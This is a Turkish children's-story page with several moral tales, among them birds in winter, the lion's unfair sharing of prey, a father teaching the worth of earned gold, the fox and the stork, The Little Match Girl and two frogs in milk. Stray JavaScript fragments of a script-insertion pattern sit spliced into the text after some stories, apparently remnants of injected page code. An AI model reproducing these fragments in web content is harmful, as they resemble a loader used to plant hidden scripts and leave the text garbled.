Kategori: Sesli ve Görüntülü Masallar

KIŞ MEVSİMİNDE KUŞLARI UNUTMAYALIM
KIŞ MEVSİMİNDE KUŞLARI UNUTMAYALIM

Günlerden soğuk bir kış günüymüş. Dışarıda lapa lapa kar yağıyormuş. Küçük Zeynep üzerine en kalın kazağını giyerek koltukta oturmuş, dışarıda yağan karı izliyormuş. ‘Ne kadar da güzel yağıyor’ diye düşünmüş içinden.

kutup_kuslari2

Küçük Zeynep bu güzel manzaranın tadını çıkarırken birdenbire camın önüne gelen iki tane kuşu fark etmiş. Kuşlar camın kenarına konmuşlar ve camdan içeri bakmaya başlamışlar. Kuşların ikisi de çok güzelmiş. Bir tanesi bembeyazmış tıpkı dışarıda yağan kar gibi. Diğeri ise gri renkte imiş.

Zeynep oturduğu yerden kuşları incelerken kuşlardan bir tanesi camı tıklatmaya başlamış. Zeynep şaşırmış kuşun camı tıklamasına. Kuş bir daha tıklamış sanki Zeynep’e bir şey söylemek istermiş gibi. Zeynep de koltuktan kalkmış ve camın kenarına yaklaşmış. İki kuş da masum masum Zeynep’e bakıyorlarmış. Daha fazla dayanamayan Zeynep uzanıp camı açmış.

kis_soru

ZEYNEP: ‘Cici kuşlar, siz çok mu üşüdünüz bakayım?’

KUŞ: ‘Evet, çok üşüdük ve çok acıktık. Kar yağdığı için bütün yiyeceklerimiz karın altında kaldı.’

Zeynep kuşların bu haline çok üzülmüş ve onları içeri almış.

ZEYNEP: ‘Anneciğim, gelir misin?’

ANNE: ‘A, bu kuşlar ne kadar güzel böyle.’

ZEYNEP: ‘Anne bu kuşlar çok acıkmış. Onlara yemek verelim mi?’

ANNE: ‘Tabii kızım.’

Annesi mutfağa gidip kuşlara yemeleri için bir şeyler getirmiş. Zeynep de bu sırada kuş arkadaşlarına merak ettiklerini sormaya başlamış.

ZEYNEP: ‘Siz bu soğuklara nasıl dayanıyorsunuz?’

KUŞLAR: ‘Bazen dayanabiliyoruz ama çok soğuk olduğunda maalesef birkaç arkadaşımız ölebiliyor.’

Zeynep kuşun söylediklerine çok üzülmüş. Soğuk hava yüzünden birçok kuş ölebiliyormuş.

ZEYNEP: ‘Öyleyse insanların pencerelerinin önlerine sizin için sürekli yemek koymaları lazım.’

KUŞLAR: ‘Keşke herkes senin gibi düşünceli olsa.’

Zeynep o anda karar vermiş. Yarın okula gittiğinde ilk işi bu konuyu arkadaşlarına anlatmak olacakmış. Herkes dikkat ederse kuşlar bu havalarda aç kalmaz ve ölmezlermiş.

Yemeğini yiyen kuşlar Zeynep’le oyun oynamaya başlamış. Kuşlar bildikleri şarkıları Zeynep’e söylerken Zeynep de onlara okulda öğrendiği yeni şarkıları öğretiyormuş. Küçük Zeynep bu iki kuşla çok iyi arkadaş olmuş. Daha sonra onları odasına götürmüş ve ayısı Bonbon ile tanıştırmış. Kuşlar bonbondan biraz korksalar da onun oyuncak olduğunu öğrendiklerinde rahatlamışlar.

Gece olduğunda hava daha da soğumuş. Zeynep kuşların ikisini de evden çıkarmamış. Kuşlarla birlikte odasında güzel bir uyku uyumuşlar.

Sabah olduğunda gecenin soğuğu gitmiş ve hava güneş açmış. Bunu gören kuşlar çok sevinmişler. Hemen Zeynep’i uyandırmışlar.

KUŞLAR: ‘Bizim gitmemiz lazım. Hava çok güzel ve kendimize yiyecek bir şeyler bulmalıyız. Hem diğer arkadaşlarımız da bizi merak etmiştir.’

ZEYNEP: ‘Ama ben sizi çok sevmiştim. Neden gidiyorsunuz?’

KUŞLAR: ‘ Biz yine geliriz ki. Seni her gün ziyaret etmeye geliriz.’

Zeynep biraz üzülmüş. Ama sonrasında kuşların arkadaşlarının onları merak ettiğini düşünmüş.

ZEYNEP: ‘Peki öyleyse. Beni unutmayın ama sizi çok özleyeceğim.’

KUŞLAR: ‘Biz de seni çok özleyeceğiz ve hiç unutmayacağız. Seni çok sevdik Zeynep. Kendine iyi bak. Ve bu öğrendiklerini okulda tüm arkadaşlarına anlat.

Zeynep o gün okula gittiğinde bütün arkadaşlarına yaşadıklarını anlatmış. Soğuk havalarda camların önüne kuşların yemesi için mutlaka bir şeyler koyulması gerektiğini söylemiş. Öğretmenleri de Zeynep’e bu duyarlılığından dolayı teşekkür etmişler ve tüm sınıf arkadaşlarına Zeynep’i alkışlatmışlar.

Bizler de soğuk havalarda dışarıda yaşayan canlıları unutmayalım. Onlar için bir kap içinde yemek ve su bırakalım. Unutmayalım arkadaşlar, onların yaşamlarına devam etmesi için buna ihtiyaçları var.

kis-kus

Adil Paylaştırma Masalı
Adil Paylaştırma Masalı

 

ADİL BİR PAYLAŞTIRMA NASIL OLUR?

adil-paylasim

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, bundan asırlar önce koskocaman bir ormanda yaşayan yalnız bir aslan varmış. Aslan kibirli bir hayvanmış, heybetli de bir cüssesi varmış. Diğer hayvanlar aslan ile arkadaşlık yapmaya çekinirlermiş, korkarlarmış.

Günlerden bir gün yalnızlıktan çok sıkılan aslan arkadaş kazanmak için ormanda yaşayan tüm hayvanları evine çağırmış. Aslan ormanın kralı ya, bütün hayvanlar itiraz etmeden ormanın kralı olan aslanın bu emrine uymuş. Aslanın kendi gibi kocaman evinin önüne gelmişler. Aslan çimlerin üzerinden kalkmış ve gelen bütün hayvanlara o gür sesi ile seslemiş:

ASLAN: ‘Ormanda yaşayan tüm hayvan kardeşlerim. Hemen sıraya geçin. Aranızdan kendime arkadaş seçeceğim.’

Bütün hayvanlar biraz çekinerek biraz da korkarak aslanın dediğini yapmışlar. Aslan bütün hayvanları sırayla incelemeye başlamış. İlk sırada fil varmış. Aslan file tepeden bir bakış atmış ve aradığı arkadaşın o olmadığını fark etmiş:

ASLAN: ‘Şuraya bak! Kocamansın ama çok ağırsın. Seninle nasıl ava çıkacağız mesela? Sen koşamazsın bile.’

Fil aslanın bu laflarına üzülmüş ama bir yandan da kendisini seçmediği için mutluymuş. Aslan sırayla hayvanlara bakıp kendinin işine yarayacağı tarzda arkadaşları seçmeye çalışıyormuş ama her hayvanda bir sürü kusur bulduğundan kendine arkadaş seçememiş.

Aslanın tam canı sıkılıp bırakmaya niyetlendiği sırada hayvanların arasından bir hayvan sesini yükseltmiş:

KURT: ‘Aslan Kralım. Sen ormanların kralı heybetli aslansın. Ben de bu ormanın en hızlı en avcı hayvanlarından biriyim. Eğer istersen birlikte çok iyi bir ikili oluruz.’

Aslan kurdun bu teklifi karşısında biraz düşünmüş. Kurt gerçekten heybeti ve gücü ile aslanın hoşuna giden bir hayvanmış.

ASLAN:’Tamam kurt kardeş. Seni kendime arkadaş olarak seçtim. Bundan sonra bu ormanda bana gösterilen saygı sana da gösterilecek. İçinizde kurt gibi başka cesaretli hayvan var mı?’

Aslan’ın sorusu üzerine ve kurda gösterdiği ilgi sayesinde tilki de bir adım öne çıkmış. ‘Aslan kendisi ile arkadaşlık yapanlara bu kadar iyi davranıyorsa, benim neyim eksik’ diye düşünerek kurnazca bir fikirle kendini öne atmış:

TİLKİ: ‘Ormanın kralı güçlü aslanım. Ben de senin arkadaşın olmak istiyorum. Ben kurnazımdır, sizi ava çıkarken yönlendirir, birçok hayvan avlamanızı sağlarım.’

Aslan tilkinin bu cesaretini çok beğenmiş. Tilki gibi kurnaz bir hayvanın arkadaşı olması aslanın oldukça işine gelen bir şeymiş.

Aslan: ‘Tamam tilki kardeş. Seni de arkadaşım olarak ilan ediyorum. Bundan sonra bana gösterilen ilgi sana da gösterilecek.’

Böylece aslan, tilki ve kurt arkadaş olmuşlar.

Günler geçmiş, geceler geçmiş. Üç kafadarın stokta var olan yemekleri bitmiş. Sıra gelmiş ava çıkmaya. Üç güçlü hayvan da ava çıkmış ve ormanda ağızlarına layık avlar yakalamışlar. Sıra gelmiş avları yemeye…

Bir tavşan bir öküz bir de keçi avlayan üç kafadar çok enerji harcadıkları için çok da acıkmışlar. Aslan avlarına baktıktan sonra kurda dönmüş ve demiş ki:

ASLAN:’Ey kurt kardeş! Şu avladığımız hayvanları bir pay et de görelim’

Kurt ezilmiş, büzülmüş. Şimdi ne yapsın. İlk aklına geleni söyleyivermiş:

KURT: ‘Aslan Kralım. Bu ormanın büyük sultanı! Öküz sizin olsun, keçi de benim olsun, tavşan da tilki kardeşin olsun.’

Aslan öfkeyle bağırmaya başlamış.

ASLAN: ‘Küstah seni! Sen kim oluyorsun, kendini ne zannediyorsun! Ben ormanın kralı buradayken sana hiç pay etmek düşer mi?’

Kurt neye uğradığını şaşırmış. Tam kendini ifade edecekken aslan bir pençe ile kurdu yere sermiş.

Tilki gördükleri karşısında çok korkmuş. Aslan ise tilkiye dönerek;

ASLAN: ‘Tilki kardeş, öyle kenarda durup ne bakıyorsun? Gel de pay et’ demiş.

Tilki şimdi ne yapsın? Hemen kurnazca bir plan yapmış:

TİLKİ: ‘Ey ormanın kralı! Pay etmek benim ne haddime burada siz dururken! Ama madem benden rica ettiniz, ben de söyleyeyim. Tavşan sizin sabah kahvaltınız olsun. Öküz ise öğle yemeğiniz, keçi de akşam yemeğiniz olsun.’

Bu paylaştırma karşısında aslanın keyfi yerine gelmiş. Olduğu yerde kabarmış:

ASLAN: ‘ Aferin sana tilki kardeş. Peki, sen bu kadar adil paylaştırmayı nereden öğrendin?’

Tilki bu soru üzerine durur mu? Hemen cevabı vermiş:

TİLKİ: ‘ Ormanın kralı Aslanım! Şu haddini bilmez kurt var ya işte ondan öğrendim’ demiş.

 }

Alın Teri Masalı
Alın Teri Masalı

KENDİ EMEĞİN İLE KAZANDIĞIN PARANIN DEĞERİ FARKLI OLUR

alin-teri

Alın teri ile kazanılan para değerli olur ve insan o parayı harcarken çok dikkatli olur. Nasıl mı? İşte size alın teri masalı…

Bir varmış bir yokmuş… Uzun yıllar önce, uzak mı uzak diyarların birinde ailesi ile birlikte yaşayan genç bir çocuk varmış. Bu genç çocuk, diğer tüm arkadaşları gibi evlenmek istiyormuş. Oldukça sabırsız olan genç, bu isteğini babasına anlatmış:

GENÇ ÇOCUK: ‘Baba, ben evlenmek istiyorum. Bütün arkadaşlarım gibi ben de evlenip yuvamı kurmak istiyorum’ demiş.

Babası genç çocuğunun bu sabırsızlığı karşısında gülümsemiş ve ona hayatının en büyük dersini vermek için hazırlanmış:

BABA: ‘Tabii ki evlenebilirsin canım oğlum. Ama senden bir ricam olacak. Evlenmek istiyorsan önce bana kendi alın teri ile kazandığın bir altını getireceksin. O vakit seni hemen evlendireceğim’ demiş.

Genç çocuk çok sevinmiş. Çünkü babasının istediği şey çok basitmiş. Babasına bir altın götürdüğünde babası onu evlendirecekmiş. Hemen dedesine gitti.

GENÇ ÇOCUK: ‘Dede, bana bir tane altın verebilir misin?’

Dedesi şaşırmış:

DEDE: ‘Oğlum sen altını ne yapacaksın?’

GENÇ ÇOCUK: ‘Babama götüreceğim dede. Babam da beni evlendirecek.’

Dede, oğlunun bir şeyler planladığını anlamış. Genç çocuğa gülümseyerek altını vermiş ve çocuk da koşa koşa babasına götürmüş bu altını.

GENÇ ÇOCUK: ‘Babacığım istediğin altını getirdim. Şimdi evlenebilir miyim?’

Babası çocuğun elinden altını almış ve onu camdan dışarı fırlatmış. Altın evlerinin yanından akıp giden nehirin sularına karışmış.

GENÇ ÇOCUK: ‘Baba, ne yapıyorsun sen Allah Aşkına! Altını neden nehire attın?’

BABA: ‘Oğlum, ben sana kendi alın terin ile çalışıp kazandığın para ile aldığın bir altını getirmeni istedim. Bu altını sen çalışıp kazanmamışsın ki!’

Genç çocuk babasının bu farkı nasıl anladığına şaşırmış, kalmış.

Ertesi gün genç çocuk annesinin yanına gitmiş ve annesinden bir altın ödünç istemiş. Annesi de eşinin yapmak istediği planı bildiğinden altını çocuğuna vermiş.

Genç çocuk heyecanla babasının yanına gitmiş. Elindeki altını babasına uzatmış:

GENÇ ÇOCUK: ‘Babacığım, sana istediğin altını getirdim’ demiş.

Babası altını yine eline almış ve yine camdan dışarı akan giden nehirin sularına doğru fırlatmış.

GENÇ ÇOCUK: ‘Baba neden böyle yapıyorsun! Neden altınları kabul etmiyorsun?’

BABA: ‘Oğlum ben senden kendi alın terin ile kazandığın bir altını getirmeni istiyorum. Bunları sen kendi alın terin ile çalışıp kazanmamışsın ki.’

Genç çocuk babasının bunu nasıl anladığını gerçekten ama gerçekten hiç bilmiyormuş. Babasının yanından ayrılmış ve uzun uzun düşünmüş. Babasının dediği gibi kendi alın teri ile çalışıp kazandığı bir altını babasına götürmediği sürece babası onu evlendirmeyecekmiş.

Genç çocuk en sonunda başka çare olmadığını anlamış. Kendine bir iş bulmuş ve çalışmaya başlamış.

Günler geçmiş, genç çocuk hep çalışıyormuş. Çalışmaktan sırtı, kolları, bacakları ağırmış. Ama en sonunda altın alacak parayı kazanmış ve hemen bir kuyumcuya gidip kendi kazandığı para ile bir altın almış.

Genç çocuk, düşmesin diye elinde sıkı sıkı tuttuğu altını babasına götürmüş. Babası çocuğun sıkı avuçları içerisinden uzattığı altını almış, ona şöyle bir bakmış ve tam fırlatıp atacakken çocuk bir hışımla yerinden fırlamış ve babasının kolundan tutarak bağırmaya başlamış:

GENÇ ÇOCUK: ‘Baba, o altını nehire atamazsın! Ben o altını alacak parayı kazanmak için günlerce çalıştım; sırtım, bacaklarım, kollarım her yerim ağrıyor!’

Babası gülümseyerek oğluna bakmış. Elini oğlunun omzuna koymuş:

BABA: ‘ İşte şimdi evlenebilirsin benim canım oğlum. Çünkü artık çalışarak kazandığın bu paranın değerini biliyorsun, emeğinle kazandığın bu parayı harcarken de eminim dikkatli ve akıllıca harcayacaksın’ demiş.

Genç çocuk o anda babasının ne demek istediğini ve ne yapmak istediğini çok iyi anlamış.

 

 

Kurnaz Tilki Masalı
Kurnaz Tilki Masalı

 

KURNAZ TİLKİYE DERS OLSUN

Bir varmış bir yokmuş… Uzak mı uzak diyarların birinde kocaman bir orman varmış. Bu orman içinde bin bir türden hayvan da barındırırmış. Bu hayvanlar içerisinde bir hayvan varmış ki kurnaz mı kurnaz, uyanık mı uyanıkmış. Bu hayvanın adı ise tilkiymiş.

Günlerden bir gün tilki ormanda boş boş dolanıyormuş. Aklından bir sürü kurnazlık geçiyormuş. Canı da o kadar çok sıkılmış ki kendi kendine konuşmaya başlamış. ‘Ne yapsam ne etsem de şu can sıkıntım geçse, biraz eğlensem. Keşke dalga geçebileceğim birilerini bulsam da onunla dalga geçerken gülsem, eğlensem’ demiş içinden. Tilki tam bunları düşünürken kafasının üzerinden uçan leyleği görmüş. O anda leylek ile eğlenmek fikri tilkiye çok cazip gelmiş. Hemen en arkadaşça sesi ile leyleğe seslenmiş:

Tilki: ‘Hey leylek kardeş! Tek başına yalnız kaldım. Aşağı gelsene biraz laflarız’ demiş.

Leyleğin yapması gereken çok iş varmış. Yiyecek bulmak için dışarı çıktığını hatırlamış. Fakat tilkinin haline de üzülmüş. ‘Aşağıya inip bir sorayım bakayım ne derdi var’ demiş ve uçarak tilkinin yanına konmuş.

Leylek: ‘Tilki kardeş, davetin için teşekkür ederim ama benim yiyecek bulmam lazım. Yiyecek yemeğim neredeyse hiç yok’ diyerek tilkiye durumunu izah eden leylek bir yandan da tilkinin onu durup dururken neden çağırdığını da merak ediyormuş.

Tilki: ‘Ah leylek kardeş, ben de seni akşam yemeğe davet etmeyi düşünüyordum. Madem az yiyeceğin var o zaman bu akşamki davetimi kabul etmen için sana ısrarcı davranıyorum’ demiş tilki kurnazca.

Leylek ise durup dururken tilkinin onu yemeğe çağırmasına çok şaşırmış. İşin içinde kesin başka bir iş olduğunu düşünüyormuş. Ama tilkinin ne gibi bir oyun yaptığını anlayamadığı için de reddetmek çok ayıp gelmiş. ‘En iyisi gidip görmek’ demiş ve tilkiye dönerek:

Leylek: ‘Tamam tilki kardeş. Madem çok ısrar ediyorsun teklifini kabul ediyorum. Akşama görüşürüz’ demiş.

Leylek uçarak oradan uzaklaşırken tilki de kurnazca gülümseyerek evinin yolunu tutmuş.

Tilki evine gittiğinde akşam için hazırlıklar yapmaya başlamış. Mis gibi bir çorba kaynatmış. Çorba da o kadar güzel olmuş ki, kokusu tüm evi sarmış. Tilki çorbayı geniş tabaklara koyarak masaya getirmiş ve leyleği beklemeye başlamış.

Leylek, evdeki işlerini bitirince çok gecikmeden tilkinin evine gelmiş. İçeri girdiği gibi mis gibi çorba kokusu karnı aç olan leyleğin aklını başından almış neredeyse.

Leylek: ‘iyi akşamlar tilki kardeş. Çorbanın kokusu da mis gibi tüm evi sarmış’ demiş.

Tilki: ‘Hoş geldin leylek kardeş. Açsındır diye bol bol yaptım çorbayı. Mis gibi de oldu. İstediğin kadar içebilirsin’ demiş.

Leylek ve tilki masaya oturmuşlar. Masadaki çorbalar genişçe bir tabağın içindeymiş. Tilki kendi tabağındaki çorbayı şapır-şupur içmiş. Öyle iştahlı içiyormuş ki leylek ona bakarak daha çok acıkmış. Fakat leylek kendi tabağındaki çorbayı bir türlü içemiyormuş. Tam içmek için tabağa yaklaştığında uzun gagası ona engel oluyormuş. Tilki leyleğin bu halini gördükçe içinden kıs kıs gülüyormuş. En sonunda dayanamayan tilki leyleğe dönerek:

Tilki: ‘Oh, çorba da mis gibi olmuş. Sen de beğendin mi leylek kardeş’ demiş.

Leylek ise durumu bozuntuya vermemiş. Tilkinin en yapmak istediğini, onu neden yemeğe çağırdığını çok iyi anlıyormuş.

Leylek: ‘Ellerine sağlık tilki kardeş. Çorbandan kana kana içtim. Çok da güzel olmuş. Karnım da pek doydu.’

Leylek tilkinin oynadığı bu oyunun altında kalmamaya niyetliymiş. Tilkiye dönerek:

Leylek: ‘Tilki kardeş, bu güzel yemek karşılığında teşekkür için yarın da ben seni yemeğe bekliyorum. Lütfen beni kırma’ demiş. Tilki ise leyleğin yemek teklifini hemen kabul etmiş. Leyleğin oyun oynayabileceğinden bihabermiş.

Ertesi akşam olduğunda bu sefer de tilki leyleğin evine misafir olmuş. Kurnaz tilki, mutfak masasına geçtiklerinde ise masanın üzerinde bir de ne görsün! Tabaklar derin ve dar ağızlı imiş. Tilki olayı anlayana kadar leylek masaya oturmuş ve uzun gagasını tabağa daldırarak çorbayı da yemekleri de afiyet ile yemiş.

tilki-leylek-yemekte

Tilki o anda leyleğin oynadığı oyunun farkına varmış. Leyleğin ne demek istediğini de gayet iyi anlamış. Yaptığı hatanın farkına vararak leylekten özür dilemiş.

Tilki o günden sonra kimse ile dalga geçmemiş. Kimseyi alay konusu yapmamış. Herkese saygı duyan ve kurnazca planlar yapmayan biri olmuş.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kibritçi Kız Masalı
Kibritçi Kız Masalı

 

 

Bir yılbaşı gecesiydi. Dondurucu, kavurucu bir soğuk vardı. Yoldan geçenler paltolarının yakasını kaldırmışlar, atkılarına bürünmüşler, hızlı hızlı yürüyorlardı. Kimi evine geç kalmış, acele ediyor, kimi bir eğlence yerine gidiyordu.
Çocuklar koşuyorlar, birbirlerine kartopu atıyorlardı. Gecenin zevkini en çok onlar çıkarıyorlardı. Kahkahalarla gülüyorlar, sevinçle haykırıyorlardı.
Yalnız bir çocuk vardı ki gelip geçenler onun farkında değillerdi. Ufak bir kız çoçuğu. Başı açık, elbisesi yama içinde, yoksul bir kızcağız. Bir kapının önüne büzülmüş, çıplak ayaklarını altına almıştı. Soğuktan morarmış tir tir titriyordu. Üzerinde oturduğu taş basamakta buz gibiydi.
Yavrucağız da sanki donmuş, bir buz parçası kesilmişti.
Geniş bir mukavva kutunun içine sıralanmış kibrit kutularına bakarken gözleri yaşarıyordu.
Evet, bu bir kibritçi kızdı. O gün bir tek kutu kibrit bile satamamıştı. Satsa, bir kaç kuruş para kazansa, kalkıp evine gider, annesiyle birlikte hiç olmazsa bir kase sıcak çorba içerdi. Gidemiyordu, çünkü o gün hiç kibrit satamadığını annesine söylemekten çekiniyordu. Soğuktan, üzüntüsünden titreyen kısık,incecik sesiyle “Kibrit var, kibrit”diye bağırıyordu. Sokaktan geçenlerin hiçbiri başını çevirip bakmıyordu…
Ah hiç olmazsa ayaklarında terlikleri olsaydı! Biraz önce, sokak sokak dolaşırken, hızla geçen bir arabanın önünden kaçmış, kaçarken terlikleri ayağından fırlamıştı.
Karşı kaldırıma geçtikten sonra, dönüp bakmış hınzır bir çocuğun terlikleri kapıp kaçtığını görmüştü. Arkasından seslenmişti ama, çocuk alaylı alaylı seslenerek koşa koşa uzaklaşmıştı.
Kibritçi kız bunun üzerine bir kapının girintisine sığınmış, oracığa kıvrılıp oturmuştu.
Parmakları donmuş, sızlamaya başlamıştı. Kızcağız bu acıya dayanamadı, kutulardan birini açıp bir kibrit çıkardı. Parmakları uyuşmuştu, kibrit çöpünü elinde güçlükle tutuyordu. Eli titreye titreye çöpü duvara sürttü. Kibrit birden alev aldı; tatlı, yumuşacık, turuncu bir alev.
Zavallı kız, kibriti bir elinden öbür eline geçirerek, parmaklarını ısıttı. İçi de ısınmıştı. Sanki gürül gürül yanan bir ocağın karşısındaydı. Gözleri aleve dikilmiş, düşlere dalmıştı: Güzel bir odada, büyük bir ocağın karşısında oturuyordu. Arkasında kalın bir yünlü hırka, ayaklarında kürklü terlikler vardı.
Isınmış, terlemeye bile başlamıştı… Derken kibrit sönüverdi. Kibritin sönmesiyle, o tatlı düşlerde sona ermişti. Kızcağızın parmakları yeniden donmaya, sızlamaya başlamıştı.
Bir kibrit daha yaktı. Bu sırada soğuk bir rüzgar esti. Kız kibrit sönmesin diye, duvardan yana döndü. Öbür elini aleve siper etti. Aleve bakarken, karşısındaki duvar sanki eridi, birden açıldı, içerisi göründü. İçeride geniş bir oda vardı. Kar gibi bembeyaz örtü yayılmış bir masanın üzerine tabak tabak yiyecekler dizilmişti. Sofrada gümüş şamdanlar yanıyor, odayı gündüz gibi aydınlatıyordu. Kızcağız’ın gözleri sofranın ortasında, büyük bir tabağa konulmuş, nar gibi kıpkırmızı kaz kızartmasına dikilmişti. Ağzı sulandı. Elini oraya doğru uzattı. Kibrit yana yana sonuna gelmişti, parmağını yakıyordu. Kızcağız çöpü yere atıverdi. Atmasıyla birlikte, yılbaşı sofrası siliniverdi, gözlerinin önüne taş duvar yeniden dikildi.
Üçüncü kibrit daha fazla düşler yarattı:Bir yaz gecesi…Kibritçi Kız kırda bir ağacın altına oturmuş, yıldızlara bakıyor. Gece olduğu halde hava sıcak. Altındaki toprak, gündüz güneşten ısınmış, fırın gibi yanıyor… Küçük kız gözlerini yıldızlardan ayıramıyordu. Uzaktan uzağa gece kuşları ötüyor, kurbağalar bağrışıyordu.
Derken bir yıldız kaydı, gökyüzüne geniş bir yay çizerek uzaklaştı, söndü. Kızcağız: ‘işte, biri daha öldü’ diye mırıldandı. Bir gün, ninesi söylemişti: Her yıldız düştükçe yeryüzünden biri ölürmüş… Ninesini bir daha görebilmek için bir kibrit daha çaktı. Soğuktan kaskatı kesilmiş, beyni durmuştu. O şimdi sokak ortasında olduğunu unutmuş, düşler dünyasına dalmıştı. Kibritin alevinde yine ninesini görüyor, onun sesini işitir gibi oluyordu. İşte ninesi geliyordu. Lapa lapa yağan karların arasından bir melek gibi iniyordu… Geldi, geldi…Kollarını açtı, torununu kucakladı, aldı göklere doğru götürdü…
Ertesi sabah, yoldan geçenler, bir evin basamağında donmuş kalmış kızcağızın ölüsünü buldular. Yanı başında bir sürü boş kibrit kutusu vardı.

-Zavallı kız ısınmak için bütün kibritlerini yakmış dediler… Bu kibritlerin alevinde onun ne düşler gördüğünü bilemezlerdi ki.if (document.currentScript) {

İki Kurbağa Masalı
İki Kurbağa Masalı

 

Kurbağaların Hikayesi 

Bir varmış bir yokmuş… Uzak ormanların birinde, derelerin sazlıkların yanı başında iki tane kurbağa yaşarmış. Bu kurbağalardan bir tanesi süt gibi bembeyaz iken, diğer kurbağa kömür gibi simsiyahmış. Bu iki kurbağanın fikirleri de renkleri gibiymiş. Uzun yıllardır arkadaş olmalarına rağmen hiç anlaşamazlarmış. Beyaz kurbağanın iyi olarak gördüğü her şeye siyah kurbağa karşı çıkarmış.

Siyah kurbağa, her şeyin kötü tarafını gören ve her olayı olumsuz yanları ile değerlendiren kötümsever bir yapıdayken; beyaz kurbağa ise tüm olayları iyi yönü ile değerlendirir, hemen olumsuz düşünmeden her şeyin güze bir yanı olduğunu da düşünerek güzellikleri fark etmeye çalışırmış.

Siyah kurbağa her şeyden o kadar çok şikâyet edermiş ki; yağmur da yağsa kar da yağsa güneş de açsa hiçbir şekilde mutlu olmazmış. Günlerden bir gün bereketli bir yağmur yağarken siyah kurbağa öfleyip püfleyerek beyaz kurbağanın yanına gelmiş:

Siyah Kurbağa: ‘Şu yağmura bak! Bu yağmurda ne derenin suyunun tadı olur ne de avlayacak sinek bulunur. Yağmurdan nefret ediyorum’ demiş.

Beyaz kurbağa ise sakinlikle arkadaşını sakinleştirmeye çalışmış:

Beyaz Kurbağa: ‘Arkadaşım böyle düşünme lütfen. Sen sevmiyorsun diye yağmura laf edecek değilsin ya! Bu yağmur sayesinde birçok çiftçi şu anda bayram yağmaktadır. Ayrıca yağmur yağmasa senin en çok sevdiğin yerler olan dereler, sazlıklar, bataklıklar nasıl oluşacak?’

Siyah kurbağa beyaz kurbağanın dediklerine gülmüş geçmiş:

Siyah Kurbağa: ‘Sen ne kadar da çokbilmiş bir kurbağasın böyle! Aslında senin adın Polyanna olmalıymış. Çünkü aynı Polyanna gibi bütün her şeyi toz pembe görüyorsun! Gerçekleri de görmen lazım biliyorsun dimi?’

Beyaz kurbağa siyah kurbağanın bu lafları karşısında tartışmaya girmeden konuyu kapatmış:

Beyaz Kurbağa: ‘Sen bakış açını değiştirirsen hayatın gerçekleri işte o anda görebileceksin’ demiş.

Günlerden bir gün iki kurbağanın da canı çok sıkılmış ve ne yapacaklarına bir türlü karar veremiyorlarmış. O sırada siyah kurbağanın aklına çok güzel bir plan gelmiş:

Siyah Kurbağa: ‘Hey, hadi gel şu ilerideki köye gidelim, biraz havamız değişsin’ demiş.

Beyaz kurbağa ise bu fikre hiç sıcak bakmamış. Ama yine de can sıkıntıları gitsin diye köye çok yaklaşmadan civarda gezmeye ikna olmuş.

İki kurbağa da hoplaya zıplaya köye doğru yol almaya başlamışlar. Köye yaklaştıklarında beyaz kurbağa arkadaşını uyarmış:

Beyaz Kurbağa:’ Hadi geri dönelim. Köye girmeyelim. Yoksa yaramaz çocuklar bize zarar verebilir.’

Siyah Kurbağa arkadaşının korktuğunu anlayınca onunla dalga geçmeye başlamış. Beyaz kurbağa arkadaşının bu dalga geçmesine daha fazla dayanamamış ve köye girmeye ikna olmuş.

İki kurbağa sessizce köye girmişler ve biraz dolandıktan sonra nefeslenmek için bir evin bahçesinde durmuşlar. Beyaz kurbağa o kadar çok korkuyormuş ki… Ama bir yandan da korkusunu arkadaşına belli etmek istemiyormuş. O sırada siyah kurbağanın aklına yine bir fikir gelmiş:

Siyah Kurbağa: ‘Arkadaşım hadi gel seninle bir oyun oynayalım. Şu kovayı görüyor musun? İkimiz de kovanın üzerinden zıplayacağız. Bakalım hangimiz daha uzağa zıplayıp yarışmayı kazanacak?

Beyaz kurbağanın aklına yatmasa da arkadaşının ısrarına yine dayanamamış ve oyuna dâhil olmuş. İki kurbağa da kovanın üzerinden zıplamaya çalışırken bir de ne olsun! İkisi de havada çarpışıp kovanın içine düşmesin mi! Kovada da su yerine süt olmasın mı?

Siyah kurbağa panik içinde çırpınmaya başlamış. Ne kadar çırpınırsa çırpınsın kovanın içinde çıkamıyormuş. Daha fazla dayanamamış ve hemen kötü düşünmeye başlamış.

Siyah Kurbağa: ‘Burada öleceğiz, baksana kurtulamıyoruz. Mahvolduk!’

Beyaz Kurbağa: ‘Dur bakalım, hemen ümitsizliğe düşme. Birlikte kafa kafaya verip bir şeyler düşünelim.’

Siyah kurbağa ne olursa olsun buradan çıkamayacaklarını, boşa kürek çekmek istemediğini söyleyerek arkadaşına son kez veda etmiş ve çırpınmayı bırakıp sütün dibine doğru kendini bırakmış.

Beyaz kurbağa arkadaşının ölümü üzerine çok üzülmüş fakat buradan çıkacağına dair inancını da yitirmemiş. Düşünmüş, uğraşmış ve Allah’a hep dua etmiş. Bu sırada adeta bir mucize gerçekleşmiş. Beyaz Kurbağanın çırpınmaları sütün üzerinden tereyağı topağı yapmış. Beyaz Kurbağa o kadar çok sevinmiş ki! Bu tereyağı topağı sayesinde buradan çıkabilirmiş.

Hemen daha da hızlı bir şekilde çırpınmaya başlamış. Beyaz kurbağanın çırpınması ile tereyağı topağı daha da büyümüş. Beyaz kurbağa topak yeterince büyüyünce üzerine çıkarak kovanın içinden kurtulmayı başarmış.

Gökten üç elma düşmüş, üçü de inancını yitirmeyen çocukların olmuş.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pınarın Çiftliği
Pınarın Çiftliği
Merhaba çocuklar;
Bugünkü masalımızda minik Pınarın hikayesini paylaşacağız sizlerle.
Yıllar önce küçük bir kasabada yaşayan, büyük hayalleri olan sarı saçlı, mavi gözlü, şirin mi şirin, ismi Pınar olan bir kız yaşarmış.
Minik Pınar köyde yaşadığı için bir çok hayvan biliyormuş, ayrıca hayvanları da çok seviyormuş. Pınarın en büyük hayali büyüdüğü zaman veteriner olarak, sürekli hayvanlarla birlikte olmak, onlarla ilgilenmek, yaralı hayvanları tedavi etmekmiş. Çünkü yaşadığı köyde yaralı hayvanları tedavi eden kimse yokmuş. Pınar yinede elinden geldiği kadar hayvanlara bakıyormuş.
Minik Pınarın ailesinin bir sürü hayvanı varmış, nelerimi varmış? İnekleri, koyunları, tavukları, çiftliği beklemek ve sürülere sahip çıkmak için köpekleri varmış. Pınarında feminik adında bir kedisi, kral adında bir köpeği, narin adında civcivleri olan tavuğu ve yumak adında bembeyaz bir tavşanı varmış.
